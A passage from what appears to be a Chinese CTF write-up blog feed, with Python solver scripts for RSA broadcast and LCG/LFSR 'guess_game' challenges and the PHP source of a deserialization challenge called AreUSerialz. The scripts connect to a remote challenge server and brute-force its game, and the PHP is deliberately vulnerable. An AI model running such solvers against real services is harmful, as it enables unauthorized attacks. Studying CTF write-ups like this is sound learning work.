class="built_in">isinstance</span>(mi, <span class="built_in">list</span>) <span class="keyword">and</span> <span class="built_in">isinstance</span>(ai, <span class="built_in">list</span>))</span><br><span class="line">    curm, cura = mi[<span class="number">0</span>], ai[<span class="number">0</span>]</span><br><span class="line">    <span class="keyword">for</span> (m, a) <span class="keyword">in</span> <span class="built_in">zip</span>(mi[<span class="number">1</span>:], ai[<span class="number">1</span>:]):</span><br><span class="line">        d = gmpy2.gcd(curm, m)</span><br><span class="line">        c = a - cura</span><br><span class="line">        <span class="keyword">assert</span> (c % d == <span class="number">0</span>) <span class="comment">#不成立则不存在解</span></span><br><span class="line">        K = c / d * gmpy2.invert(curm / d, m / d)</span><br><span class="line">        cura += curm * K</span><br><span class="line">        curm = curm * m / d</span><br><span class="line">    <span class="keyword">return</span> (cura % curm, curm) <span class="comment">#(解,最小公倍数)</span></span><br><span class="line"></span><br><span class="line">n1 = <span class="number">18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393</span></span><br><span class="line">c1 = <span class="number">8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696</span></span><br><span class="line">c2 = <span class="number">17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956</span></span><br><span class="line">n2 = <span class="number">21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883</span></span><br><span class="line">c3 = <span class="number">5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607</span></span><br><span class="line">n3 = <span class="number">22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789</span></span><br><span class="line"></span><br><span class="line">m =  GCRT([n1,n2,n3],[c1,c2,c3])[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">for</span> e <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">65538</span>):</span><br><span class="line">    flag = long_to_bytes(gmpy2.iroot(m,e)[<span class="number">0</span>])</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;flag&quot;</span> <span class="keyword">in</span> flag:</span><br><span class="line">        <span class="built_in">print</span> flag</span><br><span class="line">        exit()</span><br></pre></td></tr></table></figure><h3 id="guess-game"><a href="#guess-game" class="headerlink" title="guess_game"></a>guess_game</h3><p>需要解出前面的方程，得到第7个d，才可以有得到后面10个输出的机会。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">a = getPrime(<span class="number">64</span>)</span><br><span class="line">b = getPrime(<span class="number">64</span>)</span><br><span class="line">c = getPrime(<span class="number">64</span>)</span><br><span class="line">d = <span class="built_in">int</span>(urandom(<span class="number">8</span>).encode(<span class="string">&#x27;hex&#x27;</span>),<span class="number">16</span>)</span><br><span class="line">code = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">    d = (d * a + c) % b</span><br><span class="line">    code.append(d)</span><br></pre></td></tr></table></figure><p>给了前六个d，需要求出第七个d。解方程比较麻烦在于b是模数并且未知。</p><p>参考<a href="https://math.stackexchange.com/questions/1861606/solving-linear-congruences-with-unknown-modulus。">https://math.stackexchange.com/questions/1861606/solving-linear-congruences-with-unknown-modulus。</a></p><p>我们目前拥有5个方程：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">x1*a + c &#x3D; x2 mod b</span><br><span class="line">x2*a + c &#x3D; x3 mod b</span><br><span class="line">x3*a + c &#x3D; x4 mod b</span><br><span class="line">x4*a + c &#x3D; x5 mod b</span><br><span class="line">x5*a + c &#x3D; x6 mod b</span><br></pre></td></tr></table></figure><p>大致思路就是通过等式相减，得到一些 x*a=y mod b的方程，然后挑两个互素的x作为基底，通过这两个式子构造出 a=m mod b，再任意挑选一 x0*a=y0 mod b，得到:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">m*x0&#x3D;y0 mod b</span><br></pre></td></tr></table></figure><p>得到 b|(m*x2-y2)，再分解b，找出其中的64bit的素数，就还原了b。还原b后a和c就好算了。</p><p>然后有十次机会猜数，game其实是个39bit的lfsr，初态与key未知，需要78bit还原，正常情况下得到78bit需要十个数，但是十个数错误后直接退出了，所以需要猜十次的过程中，猜对一个。（写个循环爆破）</p><p>概率是 <code>1-(255/256)^10</code>，大约是 3%。</p><p>猜对后，可以根据78bit还原初态与key，和去年de1ctf的思路一样，解方程组就好了，高斯消元法，可以参考<a href="http://igml.top/2019/08/04/2019-de1ctf/#babylfsr">http://igml.top/2019/08/04/2019-de1ctf/#babylfsr</a></p><p>脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Game</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, n, key, r, b</span>):</span></span><br><span class="line">        self.n = n</span><br><span class="line">        self.key = key</span><br><span class="line">        self.r = r &amp; (<span class="number">2</span> ** self.n - <span class="number">1</span>)</span><br><span class="line">        self.b = b</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">out</span>(<span class="params">self</span>):</span></span><br><span class="line">        o = self.r &amp; <span class="number">1</span></span><br><span class="line">        p = self.r &amp; self.key</span><br><span class="line">        q = <span class="number">0</span></span><br><span class="line">        <span class="keyword">while</span> p:</span><br><span class="line">            q = q + p &amp; <span class="number">1</span></span><br><span class="line">            p = p &gt;&gt; <span class="number">1</span></span><br><span class="line">        q = q &amp; <span class="number">1</span></span><br><span class="line">        t = q &lt;&lt; (self.n - <span class="number">2</span>) &amp; (<span class="number">2</span> ** self.n - <span class="number">1</span>)</span><br><span class="line">        self.r = t | (self.r &gt;&gt; <span class="number">1</span>) &amp; (<span class="number">2</span> ** self.n - <span class="number">1</span>)</span><br><span class="line">        <span class="keyword">return</span> o</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">next</span>(<span class="params">self</span>):</span></span><br><span class="line">        res = <span class="number">0</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(self.b):</span><br><span class="line">            o = self.out()</span><br><span class="line">            res |= o &lt;&lt; (self.b - <span class="number">1</span> - i)</span><br><span class="line">        <span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">egcd</span>(<span class="params">a, b</span>):</span></span><br><span class="line">    <span class="keyword">if</span> b == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>, <span class="number">0</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        x, y = egcd(b, a % b)</span><br><span class="line">        <span class="keyword">return</span> y, x - a / b * y</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_mask</span>(<span class="params">stream</span>):</span></span><br><span class="line">    dim = <span class="number">39</span></span><br><span class="line">    left, right = stream[:<span class="number">39</span>], stream[<span class="number">39</span>:]</span><br><span class="line">    magic = [<span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">list</span>(right[:i][::<span class="number">-1</span>] + left[:(<span class="number">39</span> - i)])) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">39</span>)]</span><br><span class="line">    cipher = <span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">list</span>(right))</span><br><span class="line">    <span class="built_in">print</span> <span class="built_in">len</span>(cipher)</span><br><span class="line">    <span class="keyword">assert</span> <span class="built_in">len</span>(cipher) == <span class="number">39</span></span><br><span class="line">    <span class="comment"># 高斯消元</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(dim):</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(j, dim):</span><br><span class="line">            <span class="keyword">if</span> magic[i][j] == <span class="number">1</span>:</span><br><span class="line">                magic[i], magic[j] = magic[j], magic[i]</span><br><span class="line">                cipher[i], cipher[j] = cipher[j], cipher[i]</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(dim):</span><br><span class="line">            <span class="keyword">if</span> magic[i][j] == <span class="number">1</span> <span class="keyword">and</span> i != j:</span><br><span class="line">                <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(dim):</span><br><span class="line">                    magic[i][k] ^= magic[j][k]</span><br><span class="line">                cipher[i] ^= cipher[j]</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>(<span class="string">&#x27;&#x27;</span>.join(<span class="built_in">map</span>(<span class="built_in">str</span>, cipher)), <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">time = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    r = remote(<span class="string">&#x27;59.110.243.101&#x27;</span>, <span class="number">5123</span>)</span><br><span class="line">    r.sendlineafter(<span class="string">&#x27;Your choice:&#x27;</span>, <span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">    n = []</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Baby:&quot;</span>)</span><br><span class="line">    tmp = r.recvuntil(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    n.append(<span class="built_in">int</span>(tmp))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Easy:&quot;</span>)</span><br><span class="line">    tmp = r.recvuntil(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    n.append(<span class="built_in">int</span>(tmp))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Normal:&quot;</span>)</span><br><span class="line">    tmp = r.recvuntil(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    n.append(<span class="built_in">int</span>(tmp))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Hard:&quot;</span>)</span><br><span class="line">    tmp = r.recvuntil(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    n.append(<span class="built_in">int</span>(tmp))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Master:&quot;</span>)</span><br><span class="line">    tmp = r.recvuntil(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    n.append(<span class="built_in">int</span>(tmp))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Crazy:&quot;</span>)</span><br><span class="line">    tmp = r.recvuntil(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    n.append(<span class="built_in">int</span>(tmp))</span><br><span class="line">    n1, n2, n3, n4, n5, n6 = n</span><br><span class="line">    a = n2 - n1</span><br><span class="line">    b = n3 - n2</span><br><span class="line">    c = n4 - n3</span><br><span class="line">    <span class="keyword">if</span> gmpy2.gcd(a, b) != <span class="number">1</span>:</span><br><span class="line">        r.close()</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    x, y = egcd(a, b)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">assert</span> x * a + y * b == <span class="number">1</span></span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        r.close()</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    d = b * x + c * y</span><br><span class="line">    m_bei = <span class="built_in">abs</span>(d * (n5 - n4) - (n6 - n5))</span><br><span class="line">    data = os.popen(<span class="string">&#x27;sage test.sage %s&#x27;</span> % <span class="built_in">str</span>(m_bei)).read()  <span class="comment"># 分解</span></span><br><span class="line">    data = data.split(<span class="string">&quot; * &quot;</span>)</span><br><span class="line">    m = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> data:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">int</span>(i).bit_length() == <span class="number">64</span>:</span><br><span class="line">                m = <span class="built_in">int</span>(i)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">    info(m)</span><br><span class="line">    aa = (gmpy2.invert(a, m) * b) % m</span><br><span class="line">    cc = (n2 - n1 * aa) % m</span><br><span class="line">    res = (aa * n6 + cc) % m</span><br><span class="line">    success(res)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(res))</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;Your choice:&quot;</span>, <span class="string">&quot;1&quot;</span>)</span><br><span class="line">    answer = []</span><br><span class="line">    flag = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">        r.sendlineafter(<span class="string">&quot;Input your answer:&quot;</span>, <span class="string">&quot;1&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Right&quot;</span> <span class="keyword">in</span> r.recvuntil(<span class="string">&quot;!&quot;</span>):</span><br><span class="line">            flag = <span class="literal">True</span></span><br><span class="line">        r.recvuntil(<span class="string">&quot;The answer is&quot;</span>)</span><br><span class="line">        answer.append(<span class="built_in">int</span>(r.recvuntil(<span class="string">&quot;!&quot;</span>).strip(<span class="string">&quot;!&quot;</span>)))</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> flag:</span><br><span class="line">        info(<span class="string">&#x27;times:&#x27;</span> + <span class="built_in">str</span>(time))</span><br><span class="line">        time += <span class="number">1</span></span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    info(<span class="string">&#x27;success!&#x27;</span>)</span><br><span class="line">    init = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> answer[:<span class="number">5</span>]:</span><br><span class="line">        init += <span class="built_in">bin</span>(i)[<span class="number">2</span>:].zfill(<span class="number">8</span>)</span><br><span class="line">    init = init[::<span class="number">-1</span>]</span><br><span class="line">    first = init[<span class="number">0</span>]</span><br><span class="line">    init = init[<span class="number">1</span>:]</span><br><span class="line">    rr = <span class="built_in">int</span>(init, <span class="number">2</span>)</span><br><span class="line">    res = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> answer[<span class="number">5</span>:]:</span><br><span class="line">        res += <span class="built_in">bin</span>(i)[<span class="number">2</span>:].zfill(<span class="number">8</span>)</span><br><span class="line">    res = (first + res)[:<span class="number">-2</span>]</span><br><span class="line">    key = get_mask(init + res)</span><br><span class="line">    game = Game(<span class="number">40</span>, key, rr, <span class="number">8</span>)</span><br><span class="line">    <span class="keyword">assert</span> [game.<span class="built_in">next</span>() <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)] == answer</span><br><span class="line">    <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">500</span>):</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;Input your answer:&quot;</span>, <span class="built_in">str</span>(game.<span class="built_in">next</span>()))</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>跑了很多次，结果：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-c2056d3de83b64d7.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;Web&quot;&gt;&lt;a href=&quot;#Web&quot; class=&quot;headerlink&quot; title=&quot;Web&quot;&gt;&lt;/a&gt;Web&lt;/h2&gt;&lt;h3 id=&quot;nmap&quot;&gt;&lt;a href=&quot;#nmap&quot; class=&quot;headerlink&quot; title=&quot;nmap&quot;&gt;&lt;/a&gt;nmap&lt;/h3&gt;&lt;p&gt;可以扫描ip，尝试命令注入未果，应该是调用了nmap进行扫描。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    <category term="Crypto" scheme="https://igml.top/categories/CTF/Web/Crypto/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Crypto" scheme="https://igml.top/tags/Crypto/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>2020网鼎杯-青龙组wp</title>
    <link href="https://igml.top/2020/05/13/2020-%E7%BD%91%E9%BC%8E%E6%9D%AF-%E9%9D%92%E9%BE%99/"/>
    <id>https://igml.top/2020/05/13/2020-%E7%BD%91%E9%BC%8E%E6%9D%AF-%E9%9D%92%E9%BE%99/</id>
    <published>2020-05-13T02:25:37.000Z</published>
    <updated>2020-05-18T02:57:35.719Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="AreUSerialz"><a href="#AreUSerialz" class="headerlink" title="AreUSerialz"></a>AreUSerialz</h3><a id="more"></a><p>题目源码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="string">&quot;flag.php&quot;</span>);</span><br><span class="line"></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FileHandler</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">protected</span> $op;</span><br><span class="line">    <span class="keyword">protected</span> $filename;</span><br><span class="line">    <span class="keyword">protected</span> $content;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        $op = <span class="string">&quot;1&quot;</span>;</span><br><span class="line">        $filename = <span class="string">&quot;/tmp/tmpfile&quot;</span>;</span><br><span class="line">        $content = <span class="string">&quot;Hello World!&quot;</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;process();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">process</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;op == <span class="string">&quot;1&quot;</span>) &#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;write();</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;op == <span class="string">&quot;2&quot;</span>) &#123;</span><br><span class="line">            $res = <span class="keyword">$this</span>-&gt;read();</span><br><span class="line">            <span class="keyword">$this</span>-&gt;output($res);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;output(<span class="string">&quot;Bad Hacker!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>-&gt;filename) &amp;&amp; <span class="keyword">isset</span>(<span class="keyword">$this</span>-&gt;content)) &#123;</span><br><span class="line">            <span class="keyword">if</span>(strlen((<span class="keyword">string</span>)<span class="keyword">$this</span>-&gt;content) &gt; <span class="number">100</span>) &#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;output(<span class="string">&quot;Too long!&quot;</span>);</span><br><span class="line">                <span class="keyword">die</span>();</span><br><span class="line">            &#125;</span><br><span class="line">            $res = file_put_contents(<span class="keyword">$this</span>-&gt;filename, <span class="keyword">$this</span>-&gt;content);</span><br><span class="line">            <span class="keyword">if</span>($res) <span class="keyword">$this</span>-&gt;output(<span class="string">&quot;Successful!&quot;</span>);</span><br><span class="line">            <span class="keyword">else</span> <span class="keyword">$this</span>-&gt;output(<span class="string">&quot;Failed!&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;output(<span class="string">&quot;Failed!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">read</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        $res = <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>-&gt;filename)) &#123;</span><br><span class="line">            $res = file_get_contents(<span class="keyword">$this</span>-&gt;filename);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $res;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">output</span>(<span class="params">$s</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;[Result]: &lt;br&gt;&quot;</span>;</span><br><span class="line">        <span class="keyword">echo</span> $s;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;op === <span class="string">&quot;2&quot;</span>)</span><br><span class="line">            <span class="keyword">$this</span>-&gt;op = <span class="string">&quot;1&quot;</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;content = <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;process();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_valid</span>(<span class="params">$s</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">for</span>($i = <span 